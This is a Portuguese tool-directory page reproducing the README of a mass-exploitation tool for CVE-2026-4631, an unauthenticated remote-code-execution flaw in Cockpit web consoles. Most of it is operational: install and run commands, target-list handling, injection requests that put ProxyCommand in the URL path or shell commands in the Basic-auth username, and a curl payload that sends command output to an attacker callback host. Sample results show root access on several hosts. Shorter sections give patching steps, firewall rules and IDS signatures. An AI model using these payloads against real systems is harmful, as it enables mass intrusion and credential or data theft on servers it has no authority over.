Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4631-cockpit-RCE — Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78 | Kitploit
Ferramentas/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78

Ver Repositório
8há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4631 — Ferramenta de Exploração em Massa do Cockpit

Execução Remota de Código não Autenticada via Injeção de Argumentos de Linha de Comando SSH Cockpit versões 327 – 359 | CVSS 9.8 Crítico | CWE-78

Ferramenta de exploração em massa para CVE-2026-4631 no serviço web do Cockpit (cockpit-ws, porta 9090). Suporta modo de varredura de vulnerabilidade, modo RCE com captura de saída de comando via ouvinte de callback HTTP embutido, modo --auto (varredura + exploração em uma única execução com comando padrão id), adição automática da porta :9090 para alvos sem porta, ambos os vetores de ataque (ProxyCommand + injeção de username %r), alvos em massa a partir de arquivo, concorrência com threads e saída de resultado estruturada.

Autor: 0xNuts


Início Rápido

Clonar e Instalar

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Preparar Alvo

Edite targets.txt — um host por linha. A porta :9090 é adicionada automaticamente se não existir:

root@kitploit:~
192.168.1.10
cockpit.example.com
https://manage.lab.local

Executar (Modo AUTO — Recomendado)

root@kitploit:~
# Varredura + exploração em uma única execução, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>

# Exemplo de saída em results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Outros Modos

root@kitploit:~
# Apenas varredura de vulnerabilidade (sem exploração)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE explícito com comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>

# Alvo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>

Notas sobre Callback

CVE-2026-4631 é um RCE cego — a saída do comando não retorna na resposta HTTP. A ferramenta utiliza um ouvinte HTTP embutido (porta padrão 8888) para capturar a saída. Certifique-se de que:

  1. --callback-ip é um IP acessível a partir do alvo (não 127.0.0.1)
  2. O firewall permite tráfego TCP de entrada na porta 8888 (ou --listener-port personalizada)
  3. O alvo pode fazer HTTP de saída para o IP do atacante

Como Corrigir / Mitigar (Defensor)

1. Atualizar o Cockpit (Obrigatório)

root@kitploit:~
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verificar versão (deve ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Desabilitar Login Remoto (Solução Alternativa)

Edite /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

Reinicie o serviço:

root@kitploit:~
sudo systemctl restart cockpit

3. Segmentação de Rede

Restrinja a porta 9090 apenas à rede de gerenciamento:

root@kitploit:~
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Atualizar OpenSSH >= 9.6

Mitiga o Vetor 1 (injeção ProxyCommand) através da validação precoce do hostname:

root@kitploit:~
ssh -V   # deve ser OpenSSH_9.6 ou superior

5. Patch Manual (Backport)

Se não for possível atualizar para 360, aplique os patches dos commits:

  • cockpit 9d0695647 — adiciona separador -- em beiboot.py e cockpitauth.c
  • ferny 44ec511c99 — adiciona -- em session.py

Detalhes do patch: veja docs/PATCH_ANALYSIS.md


Índice

  1. Resumo da Vulnerabilidade
  2. Vetor de Ataque
  3. Pré-requisitos de Exploração
  4. Instalação
  5. Uso
  6. Modos de Operação
  7. Exemplos de Execução
  8. Formato de Saída
  9. Arquitetura da Ferramenta
  10. Estrutura de Arquivos
  11. Mecanismo de Captura de RCE Cego
  12. Detecção e Mitigação
  13. Aviso Legal
  14. Referências

Resumo da Vulnerabilidade

CampoDetalhe
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeveridadeCrítico (CVSS 9.8)
CWECWE-78 — Injeção de Comando no Sistema Operacional
AfetadoCockpit 327 – 359
Corrigido emCockpit 360+
Autenticação necessáriaNÃO (pré-autenticação)
RelatorJelle van der Waa
Serviçocockpit-ws, porta padrão 9090

O Cockpit v327 substituiu cockpit-ssh (libssh) por python3 -m cockpit.beiboot, que invoca o cliente ssh do OpenSSH do sistema. Entradas controladas pelo usuário — hostname do caminho da URL e username do cabeçalho Authorization: Basic — são passadas para o ssh sem sanitização e sem o separador -- de fim de opções. A injeção ocorre antes da verificação de credenciais, portanto não é necessário um login válido.


Vetor de Ataque

Vetor 1 — Injeção de ProxyCommand (Principal)

O hostname do caminho da URL é injetado com a opção SSH -oProxyCommand=<cmd>.

root@kitploit:~
GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x:x")

O SSH interpreta -oProxyCommand=<cmd> como uma opção, executando <cmd> como ProxyCommand. O comando é executado como o processo do usuário cockpit-ws.

Pré-requisito: OpenSSH < 9.6 no alvo. OpenSSH 9.6+ possui validação precoce de hostname que bloqueia metacaracteres.

Vetor 2 — Injeção do Token %r no Username (Secundário)

O username do cabeçalho Authorization: Basic é injetado com um comando shell.

root@kitploit:~
GET /cockpit+=legit-host/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x; <CMD>; #:x")

O SSH expande %r com o username dentro da diretiva Match exec → o shell executa o comando injetado.

Pré-requisito: o ssh_config do alvo possui uma diretiva Match exec com o token %r.


Pré-requisitos de Exploração

Lado do Atacante (máquina que executa a ferramenta)

  • Python 3.8+
  • IP acessível a partir do alvo Cockpit (para o ouvinte de callback)
  • Porta aberta para o ouvinte (padrão 8888)
  • Firewall permitindo tráfego de entrada do alvo para a porta do ouvinte

Lado do Alvo (instância Cockpit)

  • Versão do Cockpit 327 – 359
  • Porta 9090 acessível
  • Recurso de login remoto (LoginTo) não desabilitado
  • Para Vetor 1: OpenSSH < 9.6
  • Para Vetor 2: ssh_config com Match exec %r

Instalação

root@kitploit:~
# Clonar do GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Instalar dependências
pip install -r requirements.txt

# Verificar
python3 exploit.py --help

Dependências

  • requests>=2.31 — Cliente HTTP para requisições de exploração
  • colorama>=0.4 — Saída colorida no terminal

Nenhuma dependência adicional para o ouvinte (usa http.server + threading da stdlib).


Uso

root@kitploit:~
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — RCE não autenticado via injeção de argumento SSH

argumentos opcionais:
  -h, --help            mostra esta mensagem de ajuda e sai
  -t, --target          URL/host de alvo único (porta adicionada automaticamente se ausente)
  -f, --file            arquivo contendo lista de alvos (um por linha)
  --default-port        porta adicionada se o alvo não tiver porta (padrão: 9090)
  -c, --cmd             comando a executar (padrão: "id" no modo --auto / RCE)
  --scan                modo de varredura de vulnerabilidade (sem RCE, apenas sonda o endpoint)
  --auto                varredura + exploração em uma única execução, comando padrão "id"
  --vector              vetor de exploração: auto|proxycommand|username (padrão: auto)
  -o, --output          arquivo de saída de resultados (padrão: results.txt)
  --callback-ip         IP do atacante acessível a partir do alvo (para ouvinte de callback)
  --listener-port       porta do ouvinte de callback (padrão: 8888)
  --threads             trabalhadores concorrentes (padrão: 10)
  --timeout             segundos para aguardar callback por alvo (padrão: 10)
  --delay               atraso entre requisições em segundos (padrão: 0)
  --proxy               proxy HTTP para depuração (ex.: http://127.0.0.1:8080)
  --user-agent          string User-Agent personalizada
  -v, --verbose         saída verbosa (depuração)
  --no-color            desabilita saída colorida

Modos de Operação

Modo 1 — Varredura de Vulnerabilidade (--scan)

Sonda o endpoint /cockpit+=probe-host/login sem explorar. Detecta:

  • Identificação do Cockpit via cabeçalhos/corpo da resposta
  • Fluxo de login vulnerável ativo (código de resposta 401/403/200/500)
  • Inferência de versão, se possível

Não envia payloads perigosos, não requer ouvinte de callback.

Modo 2 — RCE com Captura de Comando (-c "cmd")

Executa comando no alvo, captura saída via callback:

  • Ouvinte HTTP embutido inicia em segundo plano
  • Payload ProxyCommand encapsula comando com curl exfiltrado para o ouvinte
  • Saída é codificada em base64 e enviada via POST para o ouvinte
  • Ouvinte decodifica e associa ao alvo via ID da requisição
  • Resultado é escrito no arquivo de saída
  • Se -c não for fornecido, comando padrão = id

Modo 3 — AUTO (--auto) — Recomendado

Varredura + exploração em uma única passagem, comando padrão id:

  1. Analisa a lista de alvos (adiciona automaticamente porta 9090 se ausente)
  2. Inicia ouvinte de callback
  3. Por alvo: varre → se VULNERÁVEL, explora imediatamente com id (ou -c para substituir)
  4. Alvos NÃO VULNERÁVEIS / INALCANÇÁVEIS são ignorados (não explorados)
  5. Resultado: host [ uid=0(root) ... ]

Modo 4 — Vetor Automático (--vector auto)

Tenta primeiro o Vetor 1 (ProxyCommand). Se a resposta indicar OpenSSH >= 9.6 (erro de validação de hostname), cai para o Vetor 2 (injeção de username %r).

Normalização Automática de Porta

Cada entrada em targets.txt sem porta recebe automaticamente :9090:

root@kitploit:~
host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

Exemplos de Execução

AUTO — Varredura + Exploração (Recomendado)

root@kitploit:~
# Alvo sem porta → auto :9090, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Substituir comando
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

Saída results.txt:

root@kitploit:~
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

Varredura de Vulnerabilidade — Alvos em Massa

root@kitploit:~
python3 exploit.py -f targets.txt --scan -o scan_results.txt

Saída scan_results.txt:

root@kitploit:~
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — Alvo Único

root@kitploit:~
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalente: -t http://target:9090/

Saída:

root@kitploit:~
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — Alvos em Massa com Captura de Comando

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — Vetor Específico

root@kitploit:~
# Forçar Vetor 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Forçar Vetor 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

Ajuste de Concorrência e Timeout

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

Depuração via Proxy

root@kitploit:~
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

Formato de Saída

Formato do arquivo de resultado: uma linha por alvo:

root@kitploit:~
<host> [ <status_ou_saída> ]
StatusSignificado
uid=0(root) ...RCE bem-sucedido, saída do comando capturada
VULN - no callback received (OpenSSH >= 9.6?)Alvo vulnerável, mas Vetor 1 bloqueado pelo OpenSSH 9.6+, tentar Vetor 2
VULN - endpoint activeModo varredura, endpoint vulnerável detectado
NOT VULNCockpit >= 360 ou endpoint inexistente
UNREACHABLEConexão falhou / timeout de conexão
ERROR: <msg>Exceção durante a execução

O cabeçalho do arquivo de resultado registra timestamp, comando, vetor e número de alvos.


Arquitetura da Ferramenta

root@kitploit:~
flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

Componentes

  • exploit.py — ponto de entrada, analisa argumentos, despacha para o mecanismo, exibe banner
  • core/target.py — lê -f file / -t url, normaliza (adiciona http://, porta padrão 9090), deduplica
  • core/scanner.py — modo --scan, sonda endpoint, identifica Cockpit, infere vulnerabilidade
  • core/exploit.py — gera payload por vetor, envia requisição de exploração via requests
  • core/listener.py — ThreadingHTTPServer em --callback-ip:--listener-port, analisa ?id=REQID&out=BASE64, armazena em dicionário compartilhado
  • core/engine.py — orquestrador: inicia ouvinte, cria ThreadPoolExecutor, associa callback ao alvo via ID da requisição, lida com timeout, escreve resultado
  • utils/banner.py — banner ASCII
  • utils/result.py — escritor de arquivo de resultado com formato host [ output ]

Estrutura de Arquivos

root@kitploit:~
CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # ponto de entrada CLI
├── requirements.txt            # dependências
├── README.md                   # esta documentação
├── targets.txt                 # exemplo de lista de alvos
├── results.txt                 # saída (gerada)
├── core/
│   ├── __init__.py
│   ├── target.py               # analisador de alvos
│   ├── scanner.py              # modo varredura de vulnerabilidade
│   ├── exploit.py              # gerador de payload + envio
│   ├── listener.py             # servidor HTTP de callback
│   └── engine.py               # orquestrador
├── utils/
│   ├── __init__.py
│   ├── banner.py               # banner ASCII
│   └── result.py               # escritor de resultados
└── docs/
    ├── VULN_ANALYSIS.md        # análise aprofundada da vulnerabilidade
    ├── PATCH_ANALYSIS.md       # análise dos commits de correção
    └── DETECTION.md            # assinaturas de detecção

Mecanismo de Captura de RCE Cego

CVE-2026-4631 é um RCE cego — a saída do comando não é retornada na resposta HTTP do Cockpit. A ferramenta contorna isso com um ouvinte HTTP de callback embutido:

Fluxo

  1. Ouvinte inicia — servidor HTTP com threads escuta em --callback-ip:--listener-port
  2. Gerar REQID — por alvo, UUID4 hex de 8 caracteres único
  3. Construir payload — ProxyCommand encapsula comando com curl exfiltrante:
    root@kitploit:~
    bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
    
  4. Codificar payload na URL — injeta no campo hostname:
    root@kitploit:~
    GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login
    Authorization: Basic base64("x:x")
    
  5. Enviar requisição — via requests.get, verify=False para certificado autoassinado
  6. Aguardar callback — consulta dicionário compartilhado results[REQID] até --timeout
  7. Associar e decodificar — se callback chegar, decodifica saída base64, associa ao alvo via REQID
  8. Escrever resultado — host [ saída_decodificada ] no arquivo de saída

Fallback sem Callback

Se timeout sem callback, verifica erro SSH na resposta:

  • Erro de validação de hostname → OpenSSH >= 9.6, Vetor 1 bloqueado → VULN - no callback (OpenSSH >= 9.6?)
  • Erro de conexão → UNREACHABLE
  • Endpoint inexistente → NOT VULN

Concorrência

  • ThreadPoolExecutor(max_workers=--threads) paralelo por alvo
  • Dicionários compartilhados dict[REQID] -> target_host + dict[REQID] -> output com threading.Lock
  • ThreadingHTTPServer lida com callbacks concorrentes
  • Por alvo: try/except: erro de conexão, erro SSL, timeout

Detecção e Mitigação

Assinatura IDS de Rede

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Fique atento a:

  • -oProxyCommand= no caminho da URL
  • Ponto e vírgula (;) no valor decodificado do Authorization: Basic

Busca em Logs

root@kitploit:~
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

Mitigação

  1. Atualizar Cockpit >= 360 (correção obrigatória)
  2. Desabilitar login remoto — /etc/cockpit/cockpit.conf:
    root@kitploit:~
    [WebService]
    LoginTo = false
    
  3. Segmentação de rede — restringir porta 9090 à rede de gerenciamento:
    root@kitploit:~
    iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
    iptables -A INPUT -p tcp --dport 9090 -j DROP
    
  4. Atualizar OpenSSH >= 9.6 — mitiga Vetor 1 (validação precoce de hostname)

Verificação de Versão

root@kitploit:~
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerável: 327 <= versão <= 359

Aviso Legal

Esta ferramenta foi criada para testes de penetração autorizados, pesquisa de segurança e validação de vulnerabilidades em sistemas que você possui ou para os quais tem permissão por escrito para testar.

O uso desta ferramenta em sistemas sem autorização explícita do proprietário é ilegal e pode resultar em sanções penais de acordo com a legislação aplicável.

O autor não se responsabiliza pelo uso indevido desta ferramenta. Use-a de forma ética e responsável.

Casos de uso autorizados:

  • Auditoria de segurança em sua própria infraestrutura
  • Engajamento de teste de penetração com escopo por escrito
  • Validação de patches em ambiente de laboratório
  • CTF e treinamento de segurança

Referências

RecursoURL
GitHub Advisoryhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
OSS-Security Disclosurehttps://www.openwall.com/lists/oss-security/2026/04/10/5
Red Hat Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
NVD Entryhttps://nvd.nist.gov/vuln/detail/cve-2026-4631
Commit de correção (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Commit de correção (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Bug CPython argparsehttps://github.com/python/cpython/issues/66623
Validação de hostname OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
PoC de referênciahttps://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE

Licença

Para fins de pesquisa e testes autorizados. Não para distribuição comercial sem permissão.

Baixar ferramenta